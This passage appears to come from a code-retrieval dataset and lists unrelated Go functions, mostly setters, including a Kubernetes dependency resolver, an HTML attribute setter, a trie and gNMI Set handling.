float64(atomic.AddUint32(&h.Len, 1))/float64(atomic.LoadUint32(&h.Cap)) > THRESHOLD {\n\t\t\tatomic.StoreUint32(&h.Cap, h.Cap<<1)\n\t\t}\n\t}\n}","func (t *Type) SetFields(fields []*Field)","func putConsulTree(t tree, key string) {\n\tif !rename {\n\t\tt.update(\"/\" + key)\n\t\treturn\n\t}\n\n\tfor k, v := range t {\n\t\tsubTree, ok := v.(map[string]interface{})\n\t\tif ok {\n\t\t\t// push retrieved data to a Consul key\n\t\t\ttree(subTree).update(\"/\" + key)\n\t\t} else {\n\t\t\tpush(key+\"/\"+k, v)\n\t\t}\n\t}\n}","func (fs *FakeSession) SetMany(pdus ...gosnmp.SnmpPDU) {\n\tfs.dirty = true\n\tfor _, pdu := range pdus {\n\t\tfs.data[pdu.Name] = pdu\n\t}\n}","func (bir *BuildInfoRecord) setall(settings []debug.BuildSetting) {\n\tfor _, entry := range settings {\n\t\tbir.setkv(entry.Key, entry.Value)\n\t}\n}","func resolveDeps(m meta.RESTMapper, objects []unstructuredv1.Unstructured, uids []types.UID, depsIsDependencies bool) (NodeMap, error) {\n\tif len(uids) == 0 {\n\t\treturn NodeMap{}, nil\n\t}\n\t// Create global node maps of all objects, one mapped by node UIDs & the other\n\t// mapped by node keys. This step also helps deduplicate the list of provided\n\t// objects\n\tglobalMapByUID := map[types.UID]*Node{}\n\tglobalMapByKey := map[ObjectReferenceKey]*Node{}\n\tfor ix, o := range objects {\n\t\tgvk := o.GroupVersionKind()\n\t\tm, err := m.RESTMapping(gvk.GroupKind(), gvk.Version)\n\t\tif err != nil {\n\t\t\tklog.V(4).Infof(\"Failed to map resource \\\"%s\\\" to GVR\", gvk)\n\t\t\treturn nil, err\n\t\t}\n\t\tns := o.GetNamespace()\n\t\tnode := Node{\n\t\t\tUnstructured: &objects[ix],\n\t\t\tUID: o.GetUID(),\n\t\t\tName: o.GetName(),\n\t\t\tNamespace: ns,\n\t\t\tNamespaced: ns != \"\",\n\t\t\tGroup: m.Resource.Group,\n\t\t\tVersion: m.Resource.Version,\n\t\t\tKind: m.GroupVersionKind.Kind,\n\t\t\tResource: m.Resource.Resource,\n\t\t\tOwnerReferences: o.GetOwnerReferences(),\n\t\t\tDependencies: map[types.UID]RelationshipSet{},\n\t\t\tDependents: map[types.UID]RelationshipSet{},\n\t\t}\n\t\tuid, key := node.UID, node.GetObjectReferenceKey()\n\t\tif n, ok := globalMapByUID[uid]; ok {\n\t\t\tklog.V(4).Infof(\"Duplicated %s.%s resource \\\"%s\\\" in namespace \\\"%s\\\"\", n.Kind, n.Group, n.Name, n.Namespace)\n\t\t}\n\t\tglobalMapByUID[uid] = &node\n\t\tglobalMapByKey[key] = &node\n\n\t\tif node.Group == corev1.GroupName && node.Kind == \"Node\" {\n\t\t\t// Node events sent by the Kubelet uses the node's name as the\n\t\t\t// ObjectReference UID, so we include them as keys in our global map to\n\t\t\t// support lookup by nodename\n\t\t\tglobalMapByUID[types.UID(node.Name)] = &node\n\t\t\t// Node events sent by the kube-proxy uses the node's hostname as the\n\t\t\t// ObjectReference UID, so we include them as keys in our global map to\n\t\t\t// support lookup by hostname\n\t\t\tif hostname, ok := o.GetLabels()[corev1.LabelHostname]; ok {\n\t\t\t\tglobalMapByUID[types.UID(hostname)] = &node\n\t\t\t}\n\t\t}\n\t}\n\n\tresolveLabelSelectorToNodes := func(o ObjectLabelSelector) []*Node {\n\t\tvar result []*Node\n\t\tfor _, n := range globalMapByUID {\n\t\t\tif n.Group == o.Group && n.Kind == o.Kind && n.Namespace == o.Namespace {\n\t\t\t\tif ok := o.Selector.Matches(labels.Set(n.GetLabels())); ok {\n\t\t\t\t\tresult = append(result, n)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn result\n\t}\n\tresolveSelectorToNodes := func(o ObjectSelector) []*Node {\n\t\tvar result []*Node\n\t\tfor _, n := range globalMapByUID {\n\t\t\tif n.Group == o.Group && n.Kind == o.Kind {\n\t\t\t\tif len(o.Namespaces) == 0 || o.Namespaces.Has(n.Namespace) {\n\t\t\t\t\tresult = append(result, n)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn result\n\t}\n\tupdateRelationships := func(node *Node, rmap *RelationshipMap) {\n\t\tfor k, rset := range rmap.DependenciesByRef {\n\t\t\tif n, ok := globalMapByKey[k]; ok {\n\t\t\t\tfor r := range rset {\n\t\t\t\t\tnode.AddDependency(n.UID, r)\n\t\t\t\t\tn.AddDependent(node.UID, r)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor k, rset := range rmap.DependentsByRef {\n\t\t\tif n, ok := globalMapByKey[k]; ok {\n\t\t\t\tfor r := range rset {\n\t\t\t\t\tn.AddDependency(node.UID, r)\n\t\t\t\t\tnode.AddDependent(n.UID, r)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor k, rset := range rmap.DependenciesByLabelSelector {\n\t\t\tif ols, ok := rmap.ObjectLabelSelectors[k]; ok {\n\t\t\t\tfor _, n := range resolveLabelSelectorToNodes(ols) {\n\t\t\t\t\tfor r := range rset {\n\t\t\t\t\t\tnode.AddDependency(n.UID, r)\n\t\t\t\t\t\tn.AddDependent(node.UID, r)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor k, rset := range rmap.DependentsByLabelSelector {\n\t\t\tif ols, ok := rmap.ObjectLabelSelectors[k]; ok {\n\t\t\t\tfor _, n := range resolveLabelSelectorToNodes(ols) {\n\t\t\t\t\tfor r := range rset {\n\t\t\t\t\t\tn.AddDependency(node.UID, r)\n\t\t\t\t\t\tnode.AddDependent(n.UID, r)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor k, rset := range rmap.DependenciesBySelector {\n\t\t\tif os, ok := rmap.ObjectSelectors[k]; ok {\n\t\t\t\tfor _, n := range resolveSelectorToNodes(os) {\n\t\t\t\t\tfor r := range rset {\n\t\t\t\t\t\tnode.AddDependency(n.UID, r)\n\t\t\t\t\t\tn.AddDependent(node.UID, r)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor k, rset := range rmap.DependentsBySelector {\n\t\t\tif os, ok := rmap.ObjectSelectors[k]; ok {\n\t\t\t\tfor _, n := range resolveSelectorToNodes(os) {\n\t\t\t\t\tfor r := range rset {\n\t\t\t\t\t\tn.AddDependency(node.UID, r)\n\t\t\t\t\t\tnode.AddDependent(n.UID, r)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor uid, rset := range rmap.DependenciesByUID {\n\t\t\tif n, ok := globalMapByUID[uid]; ok {\n\t\t\t\tfor r := range rset {\n\t\t\t\t\tnode.AddDependency(n.UID, r)\n\t\t\t\t\tn.AddDependent(node.UID, r)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor uid, rset := range rmap.DependentsByUID {\n\t\t\tif n, ok := globalMapByUID[uid]; ok {\n\t\t\t\tfor r := range rset {\n\t\t\t\t\tn.AddDependency(node.UID, r)\n\t\t\t\t\tnode.AddDependent(n.UID, r)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Populate dependencies & dependents based on Owner-Dependent relationships\n\tfor _, node := range globalMapByUID {\n\t\tfor _, ref := range node.OwnerReferences {\n\t\t\tif n, ok := globalMapByUID[ref.UID]; ok {\n\t\t\t\tif ref.Controller != nil && *ref.Controller {\n\t\t\t\t\tnode.AddDependency(n.UID, RelationshipControllerRef)\n\t\t\t\t\tn.AddDependent(node.UID, RelationshipControllerRef)\n\t\t\t\t}\n\t\t\t\tnode.AddDependency(n.UID, RelationshipOwnerRef)\n\t\t\t\tn.AddDependent(node.UID, RelationshipOwnerRef)\n\t\t\t}\n\t\t}\n\t}\n\n\tvar rmap *RelationshipMap\n\tvar err error\n\tfor _, node := range globalMapByUID {\n\t\tswitch {\n\t\t// Populate dependencies & dependents based on PersistentVolume relationships\n\t\tcase node.Group == corev1.GroupName && node.Kind == \"PersistentVolume\":\n\t\t\trmap, err = getPersistentVolumeRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for persistentvolume named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on PersistentVolumeClaim relationships\n\t\tcase node.Group == corev1.GroupName && node.Kind == \"PersistentVolumeClaim\":\n\t\t\trmap, err = getPersistentVolumeClaimRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for persistentvolumeclaim named \\\"%s\\\" in namespace \\\"%s\\\": %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on Pod relationships\n\t\tcase node.Group == corev1.GroupName && node.Kind == \"Pod\":\n\t\t\trmap, err = getPodRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for pod named \\\"%s\\\" in namespace \\\"%s\\\": %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on Service relationships\n\t\tcase node.Group == corev1.GroupName && node.Kind == \"Service\":\n\t\t\trmap, err = getServiceRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for service named \\\"%s\\\" in namespace \\\"%s\\\": %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on ServiceAccount relationships\n\t\tcase node.Group == corev1.GroupName && node.Kind == \"ServiceAccount\":\n\t\t\trmap, err = getServiceAccountRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for serviceaccount named \\\"%s\\\" in namespace \\\"%s\\\": %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on PodSecurityPolicy relationships\n\t\tcase node.Group == policyv1beta1.GroupName && node.Kind == \"PodSecurityPolicy\":\n\t\t\trmap, err = getPodSecurityPolicyRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for podsecuritypolicy named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on PodDisruptionBudget relationships\n\t\tcase node.Group == policyv1.GroupName && node.Kind == \"PodDisruptionBudget\":\n\t\t\trmap, err = getPodDisruptionBudgetRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for poddisruptionbudget named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on MutatingWebhookConfiguration relationships\n\t\tcase node.Group == admissionregistrationv1.GroupName && node.Kind == \"MutatingWebhookConfiguration\":\n\t\t\trmap, err = getMutatingWebhookConfigurationRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for mutatingwebhookconfiguration named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on ValidatingWebhookConfiguration relationships\n\t\tcase node.Group == admissionregistrationv1.GroupName && node.Kind == \"ValidatingWebhookConfiguration\":\n\t\t\trmap, err = getValidatingWebhookConfigurationRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for validatingwebhookconfiguration named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on APIService relationships\n\t\tcase node.Group == apiregistrationv1.GroupName && node.Kind == \"APIService\":\n\t\t\trmap, err = getAPIServiceRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for apiservice named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on Event relationships\n\t\tcase (node.Group == eventsv1.GroupName || node.Group == corev1.GroupName) && node.Kind == \"Event\":\n\t\t\trmap, err = getEventRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for event named \\\"%s\\\" in namespace \\\"%s\\\": %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on Ingress relationships\n\t\tcase (node.Group == networkingv1.GroupName || node.Group == extensionsv1beta1.GroupName) && node.Kind == \"Ingress\":\n\t\t\trmap, err = getIngressRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for ingress named \\\"%s\\\" in namespace \\\"%s\\\": %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on IngressClass relationships\n\t\tcase node.Group == networkingv1.GroupName && node.Kind == \"IngressClass\":\n\t\t\trmap, err = getIngressClassRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for ingressclass named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on NetworkPolicy relationships\n\t\tcase node.Group == networkingv1.GroupName && node.Kind == \"NetworkPolicy\":\n\t\t\trmap, err = getNetworkPolicyRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for networkpolicy named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on RuntimeClass relationships\n\t\tcase node.Group == nodev1.GroupName && node.Kind == \"RuntimeClass\":\n\t\t\trmap, err = getRuntimeClassRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for runtimeclass named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on ClusterRole relationships\n\t\tcase node.Group == rbacv1.GroupName && node.Kind == \"ClusterRole\":\n\t\t\trmap, err = getClusterRoleRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for clusterrole named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on ClusterRoleBinding relationships\n\t\tcase node.Group == rbacv1.GroupName && node.Kind == \"ClusterRoleBinding\":\n\t\t\trmap, err = getClusterRoleBindingRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for clusterrolebinding named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on Role relationships\n\t\tcase node.Group == rbacv1.GroupName && node.Kind == \"Role\":\n\t\t\trmap, err = getRoleRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for role named \\\"%s\\\" in namespace \\\"%s\\\": %s: %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on RoleBinding relationships\n\t\tcase node.Group == rbacv1.GroupName && node.Kind == \"RoleBinding\":\n\t\t\trmap, err = getRoleBindingRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for rolebinding named \\\"%s\\\" in namespace \\\"%s\\\": %s: %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on CSIStorageCapacity relationships\n\t\tcase node.Group == storagev1beta1.GroupName && node.Kind == \"CSIStorageCapacity\":\n\t\t\trmap, err = getCSIStorageCapacityRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for csistoragecapacity named \\\"%s\\\": %s: %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on CSINode relationships\n\t\tcase node.Group == storagev1.GroupName && node.Kind == \"CSINode\":\n\t\t\trmap, err = getCSINodeRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for csinode named \\\"%s\\\": %s: %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on StorageClass relationships\n\t\tcase node.Group == storagev1.GroupName && node.Kind == \"StorageClass\":\n\t\t\trmap, err = getStorageClassRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for storageclass named \\\"%s\\\": %s: %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on VolumeAttachment relationships\n\t\tcase node.Group == storagev1.GroupName && node.Kind == \"VolumeAttachment\":\n\t\t\trmap, err = getVolumeAttachmentRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for volumeattachment named \\\"%s\\\": %s: %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\tdefault:\n\t\t\tcontinue\n\t\t}\n\t\tupdateRelationships(node, rmap)\n\t}\n\n\t// Create submap containing the provided objects & either their dependencies\n\t// or dependents from the global map\n\tvar depth uint\n\tnodeMap, uidQueue, uidSet := NodeMap{}, []types.UID{}, map[types.UID]struct{}{}\n\tfor _, uid := range uids {\n\t\tif node := globalMapByUID[uid]; node != nil {\n\t\t\tnodeMap[uid] = node\n\t\t\tuidQueue = append(uidQueue, uid)\n\t\t}\n\t}\n\tdepth, uidQueue = 0, append(uidQueue, \"\")\n\tfor {\n\t\tif len(uidQueue) <= 1 {\n\t\t\tbreak\n\t\t}\n\t\tuid := uidQueue[0]\n\t\tif uid == \"\" {\n\t\t\tdepth, uidQueue = depth+1, append(uidQueue[1:], \"\")\n\t\t\tcontinue\n\t\t}\n\n\t\t// Guard against possible cycles\n\t\tif _, ok := uidSet[uid]; ok {\n\t\t\tuidQueue = uidQueue[1:]\n\t\t\tcontinue\n\t\t} else {\n\t\t\tuidSet[uid] = struct{}{}\n\t\t}\n\n\t\tif node := nodeMap[uid]; node != nil {\n\t\t\t// Allow nodes to keep the smallest depth. For example, if a node has a\n\t\t\t// depth of 1 & 7 in the relationship tree, we keep 1 so that when\n\t\t\t// printing the tree with a depth of 2, the node will still be printed\n\t\t\tif node.Depth == 0 || depth < node.Depth {\n\t\t\t\tnode.Depth = depth\n\t\t\t}\n\t\t\tdeps := node.GetDeps(depsIsDependencies)\n\t\t\tdepUIDs, ix := make([]types.UID, len(deps)), 0\n\t\t\tfor depUID := range deps {\n\t\t\t\tnodeMap[depUID] = globalMapByUID[depUID]\n\t\t\t\tdepUIDs[ix] = depUID\n\t\t\t\tix++\n\t\t\t}\n\t\t\tuidQueue = append(uidQueue[1:], depUIDs...)\n\t\t}\n\t}\n\n\tklog.V(4).Infof(\"Resolved %d deps for %d objects\", len(nodeMap)-1, len(uids))\n\treturn nodeMap, nil\n}","func (n Nodes) SetIndex(i int, node *Node)","func setAttribute(node *html.Node, attrName string, attrValue string) {\n\tattrIdx := -1\n\n\tfor i := 0; i < len(node.Attr); i++ {\n\t\tif node.Attr[i].Key == attrName {\n\t\t\tattrIdx = i\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif attrIdx >= 0 {\n\t\tnode.Attr[attrIdx].Val = attrValue\n\t\treturn\n\t}\n\n\tnode.Attr = append(node.Attr, html.Attribute{\n\t\tKey: attrName,\n\t\tVal: attrValue,\n\t})\n}","func (c SplitSize) Set(path string, object Object) error {\n\tobjectSize := len(object.Data)\n\tfor _, child := range c {\n\t\tif objectSize <= child.MaxSize || child.MaxSize == 0 {\n\t\t\treturn child.Cache.Set(path, object)\n\t\t}\n\t}\n\n\t// No cache is large enough to hold this object, but that's ok.\n\treturn nil\n}","func SetIds(t *Task) {\n\tt.Id = str2md5(t.Name+t.Text)\n\t\n\tfor _, subTask := range t.SubTasks {\n\t\tSetIds(subTask)\n\t}\n}","func (n *node) setValue(value interface{}) bool {\n\tif values, ok := value.(*Values); ok {\n\t\treturn n.setValues(values)\n\t}\n\tchanged := false\n\tif n.isSet() {\n\t\tchanged = value != n.value\n\t} else {\n\t\tchanged = true\n\t}\n\tn.value = value\n\tn.children = nil\n\treturn changed\n}","func (me *TxsdPremiseSequenceChoiceChoicePremiseNumberRangeNumberRangeOccurence) Set(s string) {\r\n\t(*xsdt.Nmtoken)(me).Set(s)\r\n}"],"string":"[\n \"func (n *Nodes) Set(s []*Node)\",\n \"func setNodeArgs(n *spec.Node, argsTo, argsFrom map[string]interface{}) error {\\n\\tif len(n.Sets) == 0 {\\n\\t\\treturn nil\\n\\t}\\n\\tfor _, key := range n.Sets {\\n\\t\\tvar ok bool\\n\\t\\tvar val interface{}\\n\\t\\tval, ok = argsFrom[*key.Arg]\\n\\t\\tif !ok {\\n\\t\\t\\treturn fmt.Errorf(\\\"expected %s to set %s in jobargs\\\", *n.NodeType, *key.Arg)\\n\\t\\t}\\n\\t\\targsTo[*key.As] = val\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (m *DeviceManagementConfigurationSettingGroupDefinition) SetChildIds(value []string)() {\\n err := m.GetBackingStore().Set(\\\"childIds\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func (m *Set) SetChildren(value []Termable)() {\\n err := m.GetBackingStore().Set(\\\"children\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func (c *Dg) Set(e ...Entry) error {\\n var err error\\n\\n if len(e) == 0 {\\n return nil\\n }\\n\\n _, fn := c.versioning()\\n names := make([]string, len(e))\\n\\n // Build up the struct with the given configs.\\n d := util.BulkElement{XMLName: xml.Name{Local: \\\"device-group\\\"}}\\n for i := range e {\\n d.Data = append(d.Data, fn(e[i]))\\n names[i] = e[i].Name\\n }\\n c.con.LogAction(\\\"(set) device groups: %v\\\", names)\\n\\n // Set xpath.\\n path := c.xpath(names)\\n if len(e) == 1 {\\n path = path[:len(path) - 1]\\n } else {\\n path = path[:len(path) - 2]\\n }\\n\\n // Create the device groups.\\n _, err = c.con.Set(path, d.Config(), nil, nil)\\n return err\\n}\",\n \"func (e *EvaluateJobArgsBuilder) setNodeSelectors() error {\\n\\te.args.NodeSelectors = map[string]string{}\\n\\targKey := \\\"selector\\\"\\n\\tvar nodeSelectors *[]string\\n\\tvalue, ok := e.argValues[argKey]\\n\\tif !ok {\\n\\t\\treturn nil\\n\\t}\\n\\tnodeSelectors = value.(*[]string)\\n\\tlog.Debugf(\\\"node selectors: %v\\\", *nodeSelectors)\\n\\te.args.NodeSelectors = transformSliceToMap(*nodeSelectors, \\\"=\\\")\\n\\treturn nil\\n}\",\n \"func SetNodes(ns []string) {\\n\\tnodes = ns\\n}\",\n \"func (node *Node) Set(key uint32, value Value) (into *Node) {\\n\\tinto = node.NewRoot(key)\\n\\tnode = into\\n\\n\\tfor node.Shift > 0 {\\n\\t\\tnode = node.CopySubKey((key >> node.Shift) & MASK)\\n\\t}\\n\\n\\tnode.Elements[(key & MASK)] = value\\n\\n\\treturn\\n}\",\n \"func (m Object) Set(k string, v Node) Object {\\n\\tm[k] = v\\n\\treturn m\\n}\",\n \"func (m *SplitNode_Children) SetRef(index int, nodeRef int64) {\\n\\tif index < 0 {\\n\\t\\treturn\\n\\t}\\n\\n\\tif m.Dense != nil {\\n\\t\\tm.setDense(index, nodeRef)\\n\\t\\treturn\\n\\t}\\n\\n\\tif n := int64(index + 1); n > m.SparseCap {\\n\\t\\tm.SparseCap = n\\n\\t}\\n\\tif m.Sparse == nil {\\n\\t\\tm.Sparse = make(map[int64]int64, 1)\\n\\t}\\n\\tm.Sparse[int64(index)] = nodeRef\\n\\tif sparsedense.BetterOffDense(len(m.Sparse), int(m.SparseCap)) {\\n\\t\\tm.convertToDense()\\n\\t}\\n}\",\n \"func (s *store) setMetaNode(addr, raftAddr string) error {\\n\\tval := &internal.SetMetaNodeCommand{\\n\\t\\tHTTPAddr: proto.String(addr),\\n\\t\\tTCPAddr: proto.String(raftAddr),\\n\\t\\tRand: proto.Uint64(uint64(rand.Int63())),\\n\\t}\\n\\tt := internal.Command_SetMetaNodeCommand\\n\\tcmd := &internal.Command{Type: &t}\\n\\tif err := proto.SetExtension(cmd, internal.E_SetMetaNodeCommand_Command, val); err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tb, err := proto.Marshal(cmd)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ts.logger.Info(\\\"set meta node apply begin\\\")\\n\\treturn s.apply(b)\\n}\",\n \"func (sv *SupernodesValue) Set(value string) error {\\n\\tnodes := strings.Split(value, \\\",\\\")\\n\\tfor _, n := range nodes {\\n\\t\\tv := strings.Split(n, \\\"=\\\")\\n\\t\\tif len(v) == 0 || len(v) > 2 {\\n\\t\\t\\treturn errors.New(\\\"invalid nodes\\\")\\n\\t\\t}\\n\\t\\t// ignore weight\\n\\t\\tnode := v[0]\\n\\t\\tvv := strings.Split(node, \\\":\\\")\\n\\t\\tif len(vv) >= 2 {\\n\\t\\t\\treturn errors.New(\\\"invalid nodes\\\")\\n\\t\\t}\\n\\t\\tif len(vv) == 1 {\\n\\t\\t\\tnode = fmt.Sprintf(\\\"%s:%d\\\", node, DefaultSchedulerPort)\\n\\t\\t}\\n\\t\\tsv.Nodes = append(sv.Nodes, node)\\n\\t}\\n\\treturn nil\\n}\",\n \"func set(s kvs.Store) {\\n\\tc := context.Background()\\n\\tdb := &Data{}\\n\\n\\t// Creating the first node object\\n\\tn := Node{\\n\\t\\tID: \\\"100\\\",\\n\\t\\tName: \\\"foobar\\\",\\n\\t\\tDescription: \\\"This is a nice node\\\",\\n\\t}\\n\\tstore.Set(s, c, db, \\\"/db/stored/here/\\\", n, \\\"Nodes\\\", \\\"100\\\")\\n\\n\\t// Creating the second node object\\n\\tn = Node{\\n\\t\\tID: \\\"101\\\",\\n\\t\\tName: \\\"barfoo\\\",\\n\\t\\tDescription: \\\"This is another nice node\\\",\\n\\t}\\n\\tstore.Set(s, c, db, \\\"/db/stored/here/\\\", n, \\\"Nodes\\\", \\\"101\\\")\\n\\n\\t// Creating an edge\\n\\tstore.Set(s, c, db, \\\"/db/stored/here/\\\", Edge{\\n\\t\\tNodeID1: \\\"100\\\",\\n\\t\\tNodeID2: \\\"101\\\",\\n\\t}, \\\"Edges\\\", \\\"10\\\")\\n\\n\\t// Setting the QuitDemo boolean\\n\\tstore.Set(s, c, db, \\\"/db/stored/here/\\\", true, \\\"QuitDemo\\\")\\n}\",\n \"func (m *DeviceManagementConfigurationSetting) SetSettingDefinitions(value []DeviceManagementConfigurationSettingDefinitionable)() {\\n err := m.GetBackingStore().Set(\\\"settingDefinitions\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func (n *Nodes) Set(node string) error {\\n\\t*n = append(*n, node)\\n\\treturn nil\\n}\",\n \"func SetChildren(index, firstchild, lastchild int) {\\n\\tC.hepevt_set_children(\\n\\t\\tC.int(index+1),\\n\\t\\tC.int(firstchild),\\n\\t\\tC.int(lastchild))\\n}\",\n \"func (t *Trie) SetValue(key string, value any) {\\n\\tcur := t.root\\n\\tfor _, r := range key {\\n\\t\\tnext, ok := cur.children[r]\\n\\t\\tif !ok {\\n\\t\\t\\tnext = &node{children: make(map[rune]*node)}\\n\\t\\t\\tcur.children[r] = next\\n\\t\\t}\\n\\t\\tcur = next\\n\\t}\\n\\n\\tif cur.value != nil {\\n\\t\\tt.size--\\n\\t}\\n\\tif value != nil {\\n\\t\\tt.size++\\n\\t}\\n\\tcur.value = value\\n}\",\n \"func (s *Server) set(ctx context.Context, req *gnmipb.SetRequest) (*gnmipb.SetResponse, error) {\\n\\tvar err error\\n\\tprefix := req.GetPrefix()\\n\\tresult := make([]*gnmipb.UpdateResult, 0,\\n\\t\\tlen(req.GetDelete())+len(req.GetReplace())+len(req.GetUpdate())+1)\\n\\n\\t// Lock updates of the data node\\n\\ts.Lock()\\n\\tdefer s.Unlock()\\n\\n\\terr = s.setStart(false)\\n\\tfor _, path := range req.GetDelete() {\\n\\t\\tif err != nil {\\n\\t\\t\\tresult = append(result, buildUpdateResultAborted(gnmipb.UpdateResult_DELETE, path))\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\terr = s.setDelete(prefix, path)\\n\\t\\tresult = append(result, buildUpdateResult(gnmipb.UpdateResult_DELETE, path, err))\\n\\t}\\n\\tfor _, r := range req.GetReplace() {\\n\\t\\tpath := r.GetPath()\\n\\t\\tif err != nil {\\n\\t\\t\\tresult = append(result, buildUpdateResultAborted(gnmipb.UpdateResult_REPLACE, path))\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\terr = s.setReplace(prefix, path, r.GetVal())\\n\\t\\tresult = append(result, buildUpdateResult(gnmipb.UpdateResult_REPLACE, path, err))\\n\\t}\\n\\tfor _, u := range req.GetUpdate() {\\n\\t\\tpath := u.GetPath()\\n\\t\\tif err != nil {\\n\\t\\t\\tresult = append(result, buildUpdateResultAborted(gnmipb.UpdateResult_UPDATE, path))\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\terr = s.setUpdate(prefix, path, u.GetVal())\\n\\t\\tresult = append(result, buildUpdateResult(gnmipb.UpdateResult_UPDATE, path, err))\\n\\t}\\n\\terr = s.setEnd(err)\\n\\tif err != nil 